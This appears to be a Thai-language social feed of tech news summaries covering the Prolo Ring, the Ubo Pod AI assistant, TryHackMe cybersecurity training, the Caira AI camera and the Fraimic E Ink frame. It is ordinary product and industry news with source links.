    💍 “Prolo Ring แหวนควบคุมคอมพิวเตอร์ด้วยนิ้ว — อุปกรณ์สวมใส่ที่อาจเปลี่ยนวิธีใช้เมาส์ไปตลอดกาล” — เมื่อการควบคุมคอมพิวเตอร์ไม่ต้องใช้เมาส์อีกต่อไป แค่ขยับนิ้วก็สั่งงานได้ Prolo Ring คืออุปกรณ์สวมใส่ที่เปิดตัวผ่าน Kickstarter โดยมีเป้าหมายเปลี่ยนวิธีที่เราควบคุมคอมพิวเตอร์ ด้วยการใช้แหวนที่สวมบนนิ้วแทนเมาส์แบบเดิม ๆ ตัวแหวนทำจากอะลูมิเนียมชุบอโนไดซ์ มีให้เลือก 3 สี และประกอบด้วย 3 ส่วนหลัก: เซนเซอร์ตรวจจับการเคลื่อนไหวแบบ 6 แกน, แทร็กแพดขนาดเล็ก และ “modstrip” ที่ทำหน้าที่เป็นปุ่มเสริม แทร็กแพดบนแหวนสามารถแตะ, กดค้าง, หรือปัดเพื่อสั่งงาน เช่น คลิกขวา, เปิดเมนู, เล่น/หยุดวิดีโอ หรือปรับระดับเสียง ส่วน modstrip จะช่วยเพิ่มฟังก์ชันให้แทร็กแพด เช่น ใช้เป็นปุ่ม Shift หรือ Ctrl เพื่อเรียกคำสั่งพิเศษ ที่น่าสนใจคือ Prolo Ring รองรับการตั้งค่ามาโครผ่านแอป companion และสามารถสั่งงานด้วย “air gestures” ได้มากกว่า 40 รูปแบบ เช่น ปัดนิ้วกลางอากาศเพื่อเปลี่ยนภาพ ซึ่งคล้ายกับเทคโนโลยี Soli ของ Google ที่เคยใช้ใน Pixel 4 XL แหวนนี้เชื่อมต่อผ่าน Bluetooth และสามารถใช้งานได้กับทุกระบบปฏิบัติการโดยไม่ต้องใช้แอปเสริม แต่หากต้องการใช้ฟีเจอร์ขั้นสูง เช่น การตั้งค่ามาโครหรือปรับแต่ง gesture ผู้ใช้ต้องมี “license” ซึ่งมีเฉพาะในรุ่น Pro ราคา $149 ขึ้นไป โดยรุ่นพื้นฐาน $99 และ $129 ไม่รวม license นี้ แบตเตอรี่ใช้งานได้ 8 ชั่วโมงต่อการชาร์จหนึ่งครั้ง และสามารถชาร์จผ่านเคสไร้สายที่เก็บพลังงานได้ถึง 30 วัน ✅ Prolo Ring เป็นอุปกรณ์สวมใส่ที่ควบคุมคอมพิวเตอร์ด้วยนิ้ว ➡️ ใช้เซนเซอร์ 6 แกน, แทร็กแพด และ modstrip ✅ แทร็กแพดรองรับการแตะ, กดค้าง, ปัด เพื่อสั่งงาน ➡️ ใช้ควบคุมเมนู, เล่น/หยุดวิดีโอ, ปรับเสียง ฯลฯ ✅ modstrip ทำหน้าที่เป็นปุ่มเสริมเพื่อเพิ่มฟังก์ชัน ➡️ ใช้ร่วมกับแทร็กแพดเพื่อเรียกคำสั่งพิเศษ ✅ รองรับ air gestures มากกว่า 40 รูปแบบ ➡️ เช่น ปัดนิ้วเพื่อเปลี่ยนภาพหรือเลื่อนสไลด์ ✅ เชื่อมต่อผ่าน Bluetooth และรองรับทุกระบบปฏิบัติการ ➡️ ใช้งานได้แม้ไม่ติดตั้งแอป companion ✅ แอป companion ใช้ตั้งค่ามาโครและปรับแต่ง gesture ➡️ ต้องมี license เพื่อใช้งานฟีเจอร์ขั้นสูง ✅ รุ่น Pro ราคา $149 ขึ้นไปเท่านั้นที่มี license ➡️ รุ่น $99 และ $129 ไม่รวม license ✅ แบตเตอรี่ใช้งานได้ 8 ชั่วโมงต่อการชาร์จ ➡️ เคสไร้สายเก็บพลังงานได้ถึง 30 วัน https://www.tomshardware.com/peripherals/wearable-tech/give-your-mouse-the-finger-with-this-wild-cursor-control-ring-prolo-ring-hits-kickstarter-hoping-to-transform-your-finger-into-the-ultimate-macro-and-gesture-device
    0 ความคิดเห็น 0 การแบ่งปัน 175 มุมมอง 0 รีวิว
  • “Ubo Pod — ผู้ช่วย AI แบบโอเพ่นซอร์สที่คุณควบคุมได้เอง พร้อมปกป้องข้อมูลจาก Big Tech”

    Ubo Pod คืออุปกรณ์ผู้ช่วย AI แบบโอเพ่นซอร์สที่ออกแบบมาเพื่อความเป็นส่วนตัวและการควบคุมโดยผู้ใช้อย่างแท้จริง โดยใช้ Raspberry Pi 4 หรือ 5 เป็นแกนหลัก พร้อมรองรับโมเดล AI แบบ local เช่น VOSK สำหรับการรู้จำเสียง และ Piper สำหรับการแปลงข้อความเป็นเสียง นอกจากนี้ยังสามารถเชื่อมต่อกับโมเดลคลาวด์อย่าง Claude, OpenAI และ Gemini ได้ตามต้องการ.

    ตัวเครื่องมีขนาดกะทัดรัด (5.1 x 3.9 x 2 นิ้ว) น้ำหนักประมาณ 340 กรัม มาพร้อมหน้าจอ TFT IPS ขนาด 1.54 นิ้ว และปุ่มกดแบบ soft-touch 7 ปุ่ม มีม่านกล้องและสวิตช์ตัดไมโครโฟนเพื่อความเป็นส่วนตัว รวมถึงไมโครโฟนคู่และลำโพงสเตอริโอสำหรับการโต้ตอบด้วยเสียง

    ซอฟต์แวร์ของ Ubo Pod มีสถาปัตยกรรมแบบ modular และ event-driven พร้อมระบบจัดการสถานะแบบรวมศูนย์ รองรับการติดตั้งแอปพลิเคชันจาก Docker และสามารถพัฒนาแอปใหม่ด้วย gRPC API แบบ low-code ผ่านเว็บเบราว์เซอร์หรือแป้นกดบนตัวเครื่อง

    โครงการนี้นำโดย Mehrdad Majzoobi และทีมพัฒนาโอเพ่นซอร์ส โดยเปิดให้สนับสนุนผ่าน Kickstarter และมี repository สำหรับซอฟต์แวร์และฮาร์ดแวร์ให้ผู้ใช้สามารถสร้างหรือปรับแต่งอุปกรณ์ได้เอง

    Ubo Pod เป็นผู้ช่วย AI แบบโอเพ่นซอร์ส
    ใช้ Raspberry Pi 4 หรือ 5 เป็นฐาน

    รองรับโมเดล local เช่น VOSK และ Piper
    พร้อมตัวเลือกโมเดลคลาวด์อย่าง Claude, OpenAI, Gemini

    ขนาดเครื่อง 5.1 x 3.9 x 2 นิ้ว น้ำหนัก 340 กรัม
    มีหน้าจอ TFT IPS และปุ่ม soft-touch 7 ปุ่ม

    มีม่านกล้องและสวิตช์ตัดไมโครโฟนเพื่อความเป็นส่วนตัว
    รองรับไมโครโฟนคู่และลำโพงสเตอริโอ

    สถาปัตยกรรมซอฟต์แวร์แบบ modular และ event-driven
    รองรับ Docker และ gRPC API สำหรับการพัฒนา

    เข้าถึงผ่านแป้นกดหรือเว็บเบราว์เซอร์
    รองรับการติดตั้งแอปจากภายนอก

    เปิดให้สนับสนุนผ่าน Kickstarter
    พร้อม repository สำหรับซอฟต์แวร์และฮาร์ดแวร์

    คำเตือนและข้อจำกัด
    การใช้งานโมเดลคลาวด์อาจมีความเสี่ยงด้านข้อมูล
    หากไม่ตั้งค่าความปลอดภัยอย่างเหมาะสม

    ผู้ใช้ต้องมีความรู้พื้นฐานด้านฮาร์ดแวร์และซอฟต์แวร์
    เพื่อประกอบและปรับแต่งอุปกรณ์ได้อย่างเต็มประสิทธิภาพ

    การพัฒนาแอปด้วย gRPC API อาจไม่เหมาะกับผู้เริ่มต้น
    ต้องเข้าใจแนวคิด low-code และการจัดการ event-driven

    การประกอบอุปกรณ์ด้วยตนเองอาจมีข้อผิดพลาดทางเทคนิค
    ควรศึกษาคู่มือและ repository อย่างละเอียดก่อนเริ่ม

    https://news.itsfoss.com/ubo-pod/
    🤖 “Ubo Pod — ผู้ช่วย AI แบบโอเพ่นซอร์สที่คุณควบคุมได้เอง พร้อมปกป้องข้อมูลจาก Big Tech” Ubo Pod คืออุปกรณ์ผู้ช่วย AI แบบโอเพ่นซอร์สที่ออกแบบมาเพื่อความเป็นส่วนตัวและการควบคุมโดยผู้ใช้อย่างแท้จริง โดยใช้ Raspberry Pi 4 หรือ 5 เป็นแกนหลัก พร้อมรองรับโมเดล AI แบบ local เช่น VOSK สำหรับการรู้จำเสียง และ Piper สำหรับการแปลงข้อความเป็นเสียง นอกจากนี้ยังสามารถเชื่อมต่อกับโมเดลคลาวด์อย่าง Claude, OpenAI และ Gemini ได้ตามต้องการ. ตัวเครื่องมีขนาดกะทัดรัด (5.1 x 3.9 x 2 นิ้ว) น้ำหนักประมาณ 340 กรัม มาพร้อมหน้าจอ TFT IPS ขนาด 1.54 นิ้ว และปุ่มกดแบบ soft-touch 7 ปุ่ม มีม่านกล้องและสวิตช์ตัดไมโครโฟนเพื่อความเป็นส่วนตัว รวมถึงไมโครโฟนคู่และลำโพงสเตอริโอสำหรับการโต้ตอบด้วยเสียง ซอฟต์แวร์ของ Ubo Pod มีสถาปัตยกรรมแบบ modular และ event-driven พร้อมระบบจัดการสถานะแบบรวมศูนย์ รองรับการติดตั้งแอปพลิเคชันจาก Docker และสามารถพัฒนาแอปใหม่ด้วย gRPC API แบบ low-code ผ่านเว็บเบราว์เซอร์หรือแป้นกดบนตัวเครื่อง โครงการนี้นำโดย Mehrdad Majzoobi และทีมพัฒนาโอเพ่นซอร์ส โดยเปิดให้สนับสนุนผ่าน Kickstarter และมี repository สำหรับซอฟต์แวร์และฮาร์ดแวร์ให้ผู้ใช้สามารถสร้างหรือปรับแต่งอุปกรณ์ได้เอง ✅ Ubo Pod เป็นผู้ช่วย AI แบบโอเพ่นซอร์ส ➡️ ใช้ Raspberry Pi 4 หรือ 5 เป็นฐาน ✅ รองรับโมเดล local เช่น VOSK และ Piper ➡️ พร้อมตัวเลือกโมเดลคลาวด์อย่าง Claude, OpenAI, Gemini ✅ ขนาดเครื่อง 5.1 x 3.9 x 2 นิ้ว น้ำหนัก 340 กรัม ➡️ มีหน้าจอ TFT IPS และปุ่ม soft-touch 7 ปุ่ม ✅ มีม่านกล้องและสวิตช์ตัดไมโครโฟนเพื่อความเป็นส่วนตัว ➡️ รองรับไมโครโฟนคู่และลำโพงสเตอริโอ ✅ สถาปัตยกรรมซอฟต์แวร์แบบ modular และ event-driven ➡️ รองรับ Docker และ gRPC API สำหรับการพัฒนา ✅ เข้าถึงผ่านแป้นกดหรือเว็บเบราว์เซอร์ ➡️ รองรับการติดตั้งแอปจากภายนอก ✅ เปิดให้สนับสนุนผ่าน Kickstarter ➡️ พร้อม repository สำหรับซอฟต์แวร์และฮาร์ดแวร์ ‼️ คำเตือนและข้อจำกัด ‼️ การใช้งานโมเดลคลาวด์อาจมีความเสี่ยงด้านข้อมูล ⛔ หากไม่ตั้งค่าความปลอดภัยอย่างเหมาะสม ‼️ ผู้ใช้ต้องมีความรู้พื้นฐานด้านฮาร์ดแวร์และซอฟต์แวร์ ⛔ เพื่อประกอบและปรับแต่งอุปกรณ์ได้อย่างเต็มประสิทธิภาพ ‼️ การพัฒนาแอปด้วย gRPC API อาจไม่เหมาะกับผู้เริ่มต้น ⛔ ต้องเข้าใจแนวคิด low-code และการจัดการ event-driven ‼️ การประกอบอุปกรณ์ด้วยตนเองอาจมีข้อผิดพลาดทางเทคนิค ⛔ ควรศึกษาคู่มือและ repository อย่างละเอียดก่อนเริ่ม https://news.itsfoss.com/ubo-pod/
    NEWS.ITSFOSS.COM
    This Raspberry Pi-Based Open Source AI Assistant Wants To Save Your Data From Big Tech
    Ubo Pod is an open source AI assistant you can tweak, customize, and run privately.
    0 ความคิดเห็น 0 การแบ่งปัน 154 มุมมอง 0 รีวิว
  • “เริ่มต้นอาชีพสาย Cybersecurity ด้วย TryHackMe – ฝึกจริง เข้าใจจริง พร้อมใบรับรอง”

    ในยุคที่ภัยไซเบอร์กลายเป็นเรื่องใกล้ตัวมากขึ้นทุกวัน องค์กรทั่วโลกต่างต้องการผู้เชี่ยวชาญด้านความปลอดภัยทางไซเบอร์อย่างเร่งด่วน แต่ปัญหาคือ…จะเริ่มต้นยังไงดี?

    TryHackMe คือแพลตฟอร์มฝึกอบรมด้าน cybersecurity ที่ออกแบบมาเพื่อทุกคน ไม่ว่าคุณจะเป็นมือใหม่ที่เพิ่งเริ่มต้น หรือเป็นมือโปรที่ต้องการอัปสกิลเพิ่มเติม จุดเด่นของ TryHackMe คือการฝึกแบบ “ลงมือทำจริง” ผ่านระบบจำลองที่เรียกว่า “rooms” ซึ่งมีมากกว่า 900 ห้อง ครอบคลุมทุกระดับความรู้

    คุณสามารถเรียนรู้ตั้งแต่พื้นฐาน เช่น การตั้งค่าความปลอดภัย ไปจนถึงการเจาะระบบ (ethical hacking) และการวิเคราะห์มัลแวร์ โดยไม่ต้องมีพื้นฐานมาก่อน และที่สำคัญคือมีใบรับรองที่ได้รับการยอมรับจากองค์กรใหญ่ เช่น Google, CompTIA และ KPMG

    ในรายงานของ World Economic Forum ระบุว่า “Information Security Analyst” จะเป็นหนึ่งในอาชีพที่เติบโตเร็วที่สุดในโลกจนถึงปี 2030 และ TryHackMe กำลังช่วยให้คนทั่วไปเข้าถึงโอกาสนี้ได้ง่ายขึ้น ด้วยค่าบริการเริ่มต้นเพียง £9 ต่อเดือน

    จุดเด่นของ TryHackMe
    มีมากกว่า 900 ห้องฝึกอบรมแบบลงมือทำจริง
    ครอบคลุมตั้งแต่ระดับเริ่มต้นจนถึงระดับมืออาชีพ
    มีใบรับรองที่ได้รับการยอมรับจากองค์กรระดับโลก
    เรียนได้ทุกที่ทุกเวลาแบบ on-demand

    ความต้องการในตลาดแรงงาน
    องค์กรทั่วโลกขาดแคลนผู้เชี่ยวชาญด้าน cybersecurity
    4 ใน 10 ธุรกิจ และ 3 ใน 10 องค์กรไม่แสวงกำไรใน UK ถูกโจมตีทางไซเบอร์ในปีที่ผ่านมา
    อาชีพด้านความปลอดภัยไซเบอร์ติดอันดับ Top 15 ที่เติบโตเร็วที่สุดในโลก

    ความคุ้มค่าและความยืดหยุ่น
    เริ่มต้นเพียง £9 ต่อเดือน
    เหมาะสำหรับคนที่ทำงานประจำและต้องการเปลี่ยนอาชีพ
    มีเส้นทางการเรียนรู้ที่ชัดเจน เช่น Red Team, Blue Team, SOC Analyst

    คำเตือนสำหรับผู้เริ่มต้น
    Cybersecurity ไม่ใช่อาชีพที่เรียนรู้แค่ทฤษฎีแล้วทำงานได้ทันที
    ต้องมีทักษะจริงและความเข้าใจในการใช้งานเครื่องมือ
    การเลือกแพลตฟอร์มฝึกอบรมที่ไม่มีใบรับรอง อาจทำให้เสียเวลาโดยไม่เกิดผลลัพธ์
    การเรียนรู้แบบไม่ต่อเนื่องอาจทำให้ทักษะไม่พัฒนาอย่างมีประสิทธิภาพ

    https://www.techradar.com/security/kickstart-your-path-towards-a-career-in-cyber-security-with-tryhackme
    🛡️ “เริ่มต้นอาชีพสาย Cybersecurity ด้วย TryHackMe – ฝึกจริง เข้าใจจริง พร้อมใบรับรอง” ในยุคที่ภัยไซเบอร์กลายเป็นเรื่องใกล้ตัวมากขึ้นทุกวัน องค์กรทั่วโลกต่างต้องการผู้เชี่ยวชาญด้านความปลอดภัยทางไซเบอร์อย่างเร่งด่วน แต่ปัญหาคือ…จะเริ่มต้นยังไงดี? TryHackMe คือแพลตฟอร์มฝึกอบรมด้าน cybersecurity ที่ออกแบบมาเพื่อทุกคน ไม่ว่าคุณจะเป็นมือใหม่ที่เพิ่งเริ่มต้น หรือเป็นมือโปรที่ต้องการอัปสกิลเพิ่มเติม จุดเด่นของ TryHackMe คือการฝึกแบบ “ลงมือทำจริง” ผ่านระบบจำลองที่เรียกว่า “rooms” ซึ่งมีมากกว่า 900 ห้อง ครอบคลุมทุกระดับความรู้ คุณสามารถเรียนรู้ตั้งแต่พื้นฐาน เช่น การตั้งค่าความปลอดภัย ไปจนถึงการเจาะระบบ (ethical hacking) และการวิเคราะห์มัลแวร์ โดยไม่ต้องมีพื้นฐานมาก่อน และที่สำคัญคือมีใบรับรองที่ได้รับการยอมรับจากองค์กรใหญ่ เช่น Google, CompTIA และ KPMG ในรายงานของ World Economic Forum ระบุว่า “Information Security Analyst” จะเป็นหนึ่งในอาชีพที่เติบโตเร็วที่สุดในโลกจนถึงปี 2030 และ TryHackMe กำลังช่วยให้คนทั่วไปเข้าถึงโอกาสนี้ได้ง่ายขึ้น ด้วยค่าบริการเริ่มต้นเพียง £9 ต่อเดือน ✅ จุดเด่นของ TryHackMe ➡️ มีมากกว่า 900 ห้องฝึกอบรมแบบลงมือทำจริง ➡️ ครอบคลุมตั้งแต่ระดับเริ่มต้นจนถึงระดับมืออาชีพ ➡️ มีใบรับรองที่ได้รับการยอมรับจากองค์กรระดับโลก ➡️ เรียนได้ทุกที่ทุกเวลาแบบ on-demand ✅ ความต้องการในตลาดแรงงาน ➡️ องค์กรทั่วโลกขาดแคลนผู้เชี่ยวชาญด้าน cybersecurity ➡️ 4 ใน 10 ธุรกิจ และ 3 ใน 10 องค์กรไม่แสวงกำไรใน UK ถูกโจมตีทางไซเบอร์ในปีที่ผ่านมา ➡️ อาชีพด้านความปลอดภัยไซเบอร์ติดอันดับ Top 15 ที่เติบโตเร็วที่สุดในโลก ✅ ความคุ้มค่าและความยืดหยุ่น ➡️ เริ่มต้นเพียง £9 ต่อเดือน ➡️ เหมาะสำหรับคนที่ทำงานประจำและต้องการเปลี่ยนอาชีพ ➡️ มีเส้นทางการเรียนรู้ที่ชัดเจน เช่น Red Team, Blue Team, SOC Analyst ‼️ คำเตือนสำหรับผู้เริ่มต้น ⛔ Cybersecurity ไม่ใช่อาชีพที่เรียนรู้แค่ทฤษฎีแล้วทำงานได้ทันที ⛔ ต้องมีทักษะจริงและความเข้าใจในการใช้งานเครื่องมือ ⛔ การเลือกแพลตฟอร์มฝึกอบรมที่ไม่มีใบรับรอง อาจทำให้เสียเวลาโดยไม่เกิดผลลัพธ์ ⛔ การเรียนรู้แบบไม่ต่อเนื่องอาจทำให้ทักษะไม่พัฒนาอย่างมีประสิทธิภาพ https://www.techradar.com/security/kickstart-your-path-towards-a-career-in-cyber-security-with-tryhackme
    WWW.TECHRADAR.COM
    Kickstart your path towards a career in cyber security with TryHackMe
    Professional cyber security and training for just £9 per month
    0 ความคิดเห็น 0 การแบ่งปัน 202 มุมมอง 0 รีวิว
  • “Caira กล้อง AI ตัวแรกที่แก้ไขภาพได้ทันที — เปลี่ยนการถ่ายภาพให้เป็นการสร้างสรรค์แบบเรียลไทม์”

    Camera Intelligence เปิดตัว “Caira” กล้อง mirrorless ขนาดกะทัดรัดที่เชื่อมต่อกับ iPhone ผ่าน MagSafe โดยฝังโมเดล AI จาก Google ที่ชื่อว่า “Nano Banana” ซึ่งเป็นเวอร์ชันย่อของ Gemini 2.5 Flash Image Model ลงในตัวกล้องโดยตรง จุดเด่นคือสามารถแก้ไขภาพทันทีหลังถ่าย โดยไม่ต้องเปิดแอปหรือเชื่อมต่อคลาวด์

    Nano Banana เป็นโมเดล AI ที่มีชื่อเสียงจากการสร้างฟิกเกอร์ 3D จากภาพถ่าย และการแก้ไขภาพแบบ one-shot โดยไม่เกิด “hallucination” หรือความผิดพลาดในการตีความภาพ กล้อง Caira ใช้เลนส์แบบ Micro Four Thirds ซึ่งเป็นมาตรฐานของกล้องระดับโปร และมีเซนเซอร์ขนาดใหญ่กว่าสมาร์ตโฟนทั่วไปถึง 400% ทำให้คุณภาพภาพถ่ายสูงขึ้นก่อนจะเข้าสู่กระบวนการแก้ไขด้วย AI

    ผู้ใช้สามารถเปลี่ยนแสง สี หรือแม้แต่ลบวัตถุในภาพได้ทันที เช่น เปลี่ยนไวน์เป็นน้ำ หรือปรับโทนภาพให้เหมาะกับการใช้งานเชิงพาณิชย์ โดยไม่ต้องใช้ Lightroom หรือ Photoshop อีกต่อไป

    Caira ยังมีอุปกรณ์เสริม เช่น battery grip เพื่อยืดเวลาการถ่าย และระบบ export ภาพโดยตรงจาก iPhone โดยไม่ต้องผ่านคลาวด์ ทำให้เหมาะกับผู้สร้างคอนเทนต์ที่ต้องการความเร็วและความแม่นยำ

    กล้องจะเปิดให้พรีออเดอร์ผ่าน Kickstarter ในวันที่ 30 ตุลาคมนี้ โดยทีมงานยืนยันว่าจะมีระบบ “AI guardrails” เพื่อป้องกันการแก้ไขภาพที่ละเมิดจริยธรรม เช่น การเปลี่ยนสีผิวหรือโครงหน้า

    ข้อมูลสำคัญจากข่าว
    Caira เป็นกล้อง mirrorless ที่ฝังโมเดล AI Nano Banana จาก Google โดยตรง
    เชื่อมต่อกับ iPhone ผ่าน MagSafe และใช้เลนส์ Micro Four Thirds
    Nano Banana เป็นเวอร์ชันย่อของ Gemini 2.5 Flash Image Model
    สามารถแก้ไขภาพทันทีหลังถ่าย เช่น เปลี่ยนแสง สี หรือลบวัตถุ
    ไม่ต้องเปิดแอปหรือเชื่อมต่อคลาวด์ — ทำงานแบบเรียลไทม์
    เซนเซอร์ใหญ่กว่าสมาร์ตโฟนทั่วไปถึง 400% ให้ภาพคมชัดก่อนแก้ไข
    มีอุปกรณ์เสริม เช่น battery grip และระบบ export ภาพโดยตรง
    เหมาะกับผู้สร้างคอนเทนต์ที่ต้องการความเร็วและคุณภาพ
    เปิดให้พรีออเดอร์ผ่าน Kickstarter วันที่ 30 ตุลาคม
    มีระบบ AI guardrails ป้องกันการแก้ไขภาพที่ละเมิดจริยธรรม

    ข้อมูลเสริมจากภายนอก
    Micro Four Thirds เป็นระบบเลนส์ที่นิยมในกล้อง mirrorless ระดับโปร
    Nano Banana มีความสามารถในการรักษารายละเอียดของภาพเดิมได้ดี
    Gemini 2.5 Flash Image Model มีระบบ SynthID ฝังลายน้ำดิจิทัลในภาพที่แก้ไข
    การแก้ไขภาพแบบ one-shot ลดเวลาในการทำงานลงอย่างมาก
    การฝัง AI ลงในกล้องโดยตรงเป็นแนวทางใหม่ที่ลดขั้นตอน post-processing

    https://www.techradar.com/ai-platforms-assistants/gemini/the-nano-banana-camera-has-arrived-to-edit-reality-in-real-time
    📸 “Caira กล้อง AI ตัวแรกที่แก้ไขภาพได้ทันที — เปลี่ยนการถ่ายภาพให้เป็นการสร้างสรรค์แบบเรียลไทม์” Camera Intelligence เปิดตัว “Caira” กล้อง mirrorless ขนาดกะทัดรัดที่เชื่อมต่อกับ iPhone ผ่าน MagSafe โดยฝังโมเดล AI จาก Google ที่ชื่อว่า “Nano Banana” ซึ่งเป็นเวอร์ชันย่อของ Gemini 2.5 Flash Image Model ลงในตัวกล้องโดยตรง จุดเด่นคือสามารถแก้ไขภาพทันทีหลังถ่าย โดยไม่ต้องเปิดแอปหรือเชื่อมต่อคลาวด์ Nano Banana เป็นโมเดล AI ที่มีชื่อเสียงจากการสร้างฟิกเกอร์ 3D จากภาพถ่าย และการแก้ไขภาพแบบ one-shot โดยไม่เกิด “hallucination” หรือความผิดพลาดในการตีความภาพ กล้อง Caira ใช้เลนส์แบบ Micro Four Thirds ซึ่งเป็นมาตรฐานของกล้องระดับโปร และมีเซนเซอร์ขนาดใหญ่กว่าสมาร์ตโฟนทั่วไปถึง 400% ทำให้คุณภาพภาพถ่ายสูงขึ้นก่อนจะเข้าสู่กระบวนการแก้ไขด้วย AI ผู้ใช้สามารถเปลี่ยนแสง สี หรือแม้แต่ลบวัตถุในภาพได้ทันที เช่น เปลี่ยนไวน์เป็นน้ำ หรือปรับโทนภาพให้เหมาะกับการใช้งานเชิงพาณิชย์ โดยไม่ต้องใช้ Lightroom หรือ Photoshop อีกต่อไป Caira ยังมีอุปกรณ์เสริม เช่น battery grip เพื่อยืดเวลาการถ่าย และระบบ export ภาพโดยตรงจาก iPhone โดยไม่ต้องผ่านคลาวด์ ทำให้เหมาะกับผู้สร้างคอนเทนต์ที่ต้องการความเร็วและความแม่นยำ กล้องจะเปิดให้พรีออเดอร์ผ่าน Kickstarter ในวันที่ 30 ตุลาคมนี้ โดยทีมงานยืนยันว่าจะมีระบบ “AI guardrails” เพื่อป้องกันการแก้ไขภาพที่ละเมิดจริยธรรม เช่น การเปลี่ยนสีผิวหรือโครงหน้า ✅ ข้อมูลสำคัญจากข่าว ➡️ Caira เป็นกล้อง mirrorless ที่ฝังโมเดล AI Nano Banana จาก Google โดยตรง ➡️ เชื่อมต่อกับ iPhone ผ่าน MagSafe และใช้เลนส์ Micro Four Thirds ➡️ Nano Banana เป็นเวอร์ชันย่อของ Gemini 2.5 Flash Image Model ➡️ สามารถแก้ไขภาพทันทีหลังถ่าย เช่น เปลี่ยนแสง สี หรือลบวัตถุ ➡️ ไม่ต้องเปิดแอปหรือเชื่อมต่อคลาวด์ — ทำงานแบบเรียลไทม์ ➡️ เซนเซอร์ใหญ่กว่าสมาร์ตโฟนทั่วไปถึง 400% ให้ภาพคมชัดก่อนแก้ไข ➡️ มีอุปกรณ์เสริม เช่น battery grip และระบบ export ภาพโดยตรง ➡️ เหมาะกับผู้สร้างคอนเทนต์ที่ต้องการความเร็วและคุณภาพ ➡️ เปิดให้พรีออเดอร์ผ่าน Kickstarter วันที่ 30 ตุลาคม ➡️ มีระบบ AI guardrails ป้องกันการแก้ไขภาพที่ละเมิดจริยธรรม ✅ ข้อมูลเสริมจากภายนอก ➡️ Micro Four Thirds เป็นระบบเลนส์ที่นิยมในกล้อง mirrorless ระดับโปร ➡️ Nano Banana มีความสามารถในการรักษารายละเอียดของภาพเดิมได้ดี ➡️ Gemini 2.5 Flash Image Model มีระบบ SynthID ฝังลายน้ำดิจิทัลในภาพที่แก้ไข ➡️ การแก้ไขภาพแบบ one-shot ลดเวลาในการทำงานลงอย่างมาก ➡️ การฝัง AI ลงในกล้องโดยตรงเป็นแนวทางใหม่ที่ลดขั้นตอน post-processing https://www.techradar.com/ai-platforms-assistants/gemini/the-nano-banana-camera-has-arrived-to-edit-reality-in-real-time
    WWW.TECHRADAR.COM
    The world’s first Nano Banana camera is here — Caira uses the AI model to edit your photos while you’re still taking them.
    Google’s new AI image model jumps from the cloud to your lens with Camera Intelligence’s new Caira device
    0 ความคิดเห็น 0 การแบ่งปัน 220 มุมมอง 0 รีวิว
  • “Fraimic กรอบภาพ E Ink อัจฉริยะที่สั่งงานด้วยเสียง — สร้างงานศิลป์จากคำพูด พร้อมแบตเตอรี่ที่อยู่ได้นานถึง 5 ปี”

    Fraimic คือกรอบภาพอัจฉริยะที่ใช้จอสีแบบ E Ink ซึ่งไม่เพียงแค่แสดงภาพถ่ายหรืองานศิลป์ แต่ยังสามารถ “สร้างภาพใหม่จากเสียงของคุณ” ด้วยเทคโนโลยี AI ที่เชื่อมกับโมเดลของ OpenAI เช่น DALL·E โดยผู้ใช้สามารถพูดคำสั่ง เช่น “วาดภาพพระอาทิตย์ตกริมทะเล” แล้วรอให้ภาพค่อย ๆ ปรากฏขึ้นบนกรอบ

    จุดเด่นของ Fraimic คือการออกแบบให้เหมือนกรอบภาพจริง มีให้เลือกสองขนาดคือ 14×18 นิ้ว และ 24×36 นิ้ว ใช้จอ E Ink Spectra 6 ที่แสดงสีได้ถึง 65,000 เฉด โดยไม่มีแสง backlight ทำให้ภาพดูเหมือนงานพิมพ์บนกระดาษ และไม่รบกวนสายตา

    Fraimic ไม่มีแอป ไม่มีระบบสมัครสมาชิก และไม่ต้องเชื่อมต่ออินเทอร์เน็ตตลอดเวลา ผู้ใช้สามารถอัปโหลดภาพผ่านเว็บไซต์โดยใช้เครือข่ายเดียวกับตัวกรอบภาพ และยังสามารถสั่งงานผ่านเสียงด้วยไมโครโฟนในตัว

    แบตเตอรี่ของ Fraimic ใช้งานได้นานถึง 5 ปี เพราะจอ E Ink ใช้พลังงานเฉพาะตอนเปลี่ยนภาพเท่านั้น แม้แบตหมด ภาพก็ยังค้างอยู่บนจอได้โดยไม่หายไป และสามารถชาร์จใหม่ผ่าน USB-C

    โครงการนี้เปิดตัวบน Kickstarter และได้รับเงินสนับสนุนเกินเป้าหมายอย่างรวดเร็ว โดยมีแผนจะเริ่มจัดส่งในเดือนพฤษภาคม 2026 พร้อมฟีเจอร์เสริมในอนาคต เช่น “Movie Mode” ที่แสดงโปสเตอร์หนังที่กำลังดู และ “Music Mode” ที่แสดงปกอัลบั้มจาก Spotify

    ข้อมูลสำคัญจากข่าว
    Fraimic เป็นกรอบภาพอัจฉริยะที่ใช้จอสี E Ink และสั่งงานด้วยเสียง
    ใช้โมเดล AI จาก OpenAI เพื่อสร้างภาพจากคำสั่งเสียงของผู้ใช้
    มีให้เลือกสองขนาด: 14×18 นิ้ว และ 24×36 นิ้ว
    จอ E Ink Spectra 6 แสดงสีได้ 65,000 เฉด ไม่มีแสง backlight
    ไม่มีแอป ไม่มีค่าสมัครสมาชิก และไม่ต้องเชื่อมต่ออินเทอร์เน็ตตลอดเวลา
    อัปโหลดภาพผ่านเว็บไซต์ในเครือข่ายเดียวกับตัวกรอบ
    แบตเตอรี่ใช้งานได้นานถึง 5 ปี และชาร์จผ่าน USB-C
    ภาพยังค้างอยู่บนจอแม้แบตหมด ไม่หายไป
    มีแผนเพิ่มฟีเจอร์ “Movie Mode” และ “Music Mode” ผ่านอัปเดตเฟิร์มแวร์
    โครงการได้รับเงินสนับสนุนบน Kickstarter เกิน $730,000 แล้ว
    ตั้งเป้าจัดส่งในเดือนพฤษภาคม 2026

    ข้อมูลเสริมจากภายนอก
    E Ink เป็นเทคโนโลยีที่ใช้ใน Kindle และอุปกรณ์อ่านหนังสืออิเล็กทรอนิกส์
    Spectra 6 เป็นจอ E Ink รุ่นใหม่ที่รองรับสีมากขึ้นและความละเอียดสูง
    การใช้ AI สร้างภาพจากเสียงเป็นแนวทางใหม่ที่ผสานศิลปะกับเทคโนโลยี
    Fraimic รองรับการใช้งานแบบออฟไลน์ และไม่ต้องพึ่งเซิร์ฟเวอร์ภายนอก
    การแสดงภาพแบบไม่ใช้ backlight ช่วยลดอาการล้าตาและดูเป็นธรรมชาติมากขึ้น

    https://www.techradar.com/home/smart-home/this-smart-e-ink-picture-frame-lets-you-talk-your-paintings-into-life-with-ai-and-lasts-for-years-on-a-single-charge
